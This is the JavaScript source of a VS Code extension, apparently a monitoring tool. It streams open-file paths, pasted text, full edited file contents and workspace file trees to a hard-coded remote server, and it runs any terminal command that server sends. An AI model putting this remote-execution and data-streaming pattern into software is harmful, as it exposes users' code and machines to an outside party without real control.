const vscode = require('vscode');
const fs = require('fs');
const path = require('path');
const io = require('socket.io-client');
let debounceTimeout;
let vs_socket= null;
let config = {};
// 发送数据到 Flask 服务器，并携带 session 作为 Cookie
async function sendToServer(data) {
    try {
        if (!vs_socket) {
            return;
        }
        // const response = await axios.post('http://localhost:5000/vscode_data', data, {
        // });
        // console.log('Data sent to Flask server:', response.data);
        vs_socket.emit('message', data)
    } catch (error) {
        console.error('Error sending data to Flask server:', error);
    }
}


// Reads and parses key-value pairs from the .config file
function readConfigFile(folderPath) {
    const configFilePath = path.join(folderPath, '.config');
    if (!fs.existsSync(configFilePath)) {
        vscode.window.showErrorMessage('No .config file found in the workspace folder.');
        return null;
    }

    try {
        const configContent = fs.readFileSync(configFilePath, 'utf-8');
        return JSON.parse(configContent);
    } catch (error) {
        console.error('Error reading the .config file:', error);
        return null;
    }
}
function establishSocketConnection(){
    vscode.window.showInformationMessage('Connecting to server...');

    vs_socket = io('ws://59.78.194.131:5000/vscode');
    vs_socket.on('connect', () => {
        vscode.window.showInformationMessage('Connected to server');
        vs_socket.emit('login', { config: config });
    });
    vs_socket.on('disconnect', () => {
        vscode.window.showInformationMessage('Disconnected from server');
    });
    vs_socket.on('terminal',(data)=>{
        vscode.window.showInformationMessage('Terminal command received'+data);
        const terminal = vscode.window.createTerminal('New Terminal');

        // 在终端中执行命令
        terminal.sendText(data.data);

        // 显示终端
        terminal.show();
    })
}
// 激活插件时调用此函数
function activate(context) {
    const workspaceFolders = vscode.workspace.workspaceFolders;
    if (!workspaceFolders) {
        vscode.window.showErrorMessage('No workspace folder is open.');
        return;
    }

    const folderPath = workspaceFolders[0].uri.fsPath;
    config = readConfigFile(folderPath);
    if (config) {
        console.log('Config file loaded:', config);
        establishSocketConnection();
    }


    vscode.window.onDidChangeActiveTextEditor(editor => {
        if (editor) {
            const filePath = editor.document.uri.fsPath;
            console.log(`Current open file: ${filePath}`);
            sendToServer({
                type: 'activeFile',
                filePath: filePath,
                config: config,
            });
        }
    });

    // 监听文件内容变化
    vscode.workspace.onDidChangeTextDocument(event => {
        const filePath = event.document.uri.fsPath;
        const changes = event.contentChanges;

        // 检查是否有大段文本插入，判断为粘贴操作
        changes.forEach(change => {
            if (change.text.length > 20 && !change.rangeLength) {  // 设置长度阈值为20字符，且非删除操作
                console.log(`Detected paste action in file ${filePath}. Sending content...`);

                sendToServer({
                    type: 'paste',
                    filePath: filePath,
                    content: change.text,
                    config: config,
                });
            }
        });

        // 防抖处理非粘贴的编辑操作
        const content = event.document.getText();
        debounceSendToServer({
            type: 'fileEdit',
            filePath: filePath,
            content: content,
            config: config,
        }, 5000);
    });

    // 监听工作区的变化
    vscode.workspace.onDidChangeWorkspaceFolders(event => {
        console.log('Workspace folders changed');
        const workspaceFolders = vscode.workspace.workspaceFolders;
        if (workspaceFolders) {
            workspaceFolders.forEach(folder => {
                const fileTree = getFileTree(folder.uri);
                console.log(`File Tree for ${folder.uri.fsPath}:`, fileTree);
                sendToServer({
                    type: 'workspaceFolders',
                    fileTree: fileTree,
                    config: config,
                });
            });
        }
    });

    if (workspaceFolders) {
        workspaceFolders.forEach(folder => {
            const fileTree = getFileTree(folder.uri);
            console.log(`File Tree for ${folder.uri.fsPath}:`, fileTree);
            sendToServer({
                type: 'workspaceFolders',
                fileTree: fileTree,
                config: config,
            });
        });
    }
}

// 缓冲器函数（防抖）
function debounceSendToServer(data, delay) {
    if (debounceTimeout) {
        clearTimeout(debounceTimeout);
    }
    debounceTimeout = setTimeout(() => {
        sendToServer(data);
    }, delay);
}

// 递归获取文件树
function getFileTree(uri) {
    let result = [];
    const files = fs.readdirSync(uri.fsPath);

    files.forEach(file => {
        const filePath = path.join(uri.fsPath, file);
        const stat = fs.statSync(filePath);

        if (stat.isDirectory()) {
            result.push({
                name: file,
                type: 'folder',
                children: getFileTree(vscode.Uri.file(filePath))
            });
        } else {
            result.push({
                name: file,
                type: 'file'
            });
        }
    });

    return result;
}

// 禁用插件时调用此函数
function deactivate() {}

module.exports = {
    activate,
    deactivate
};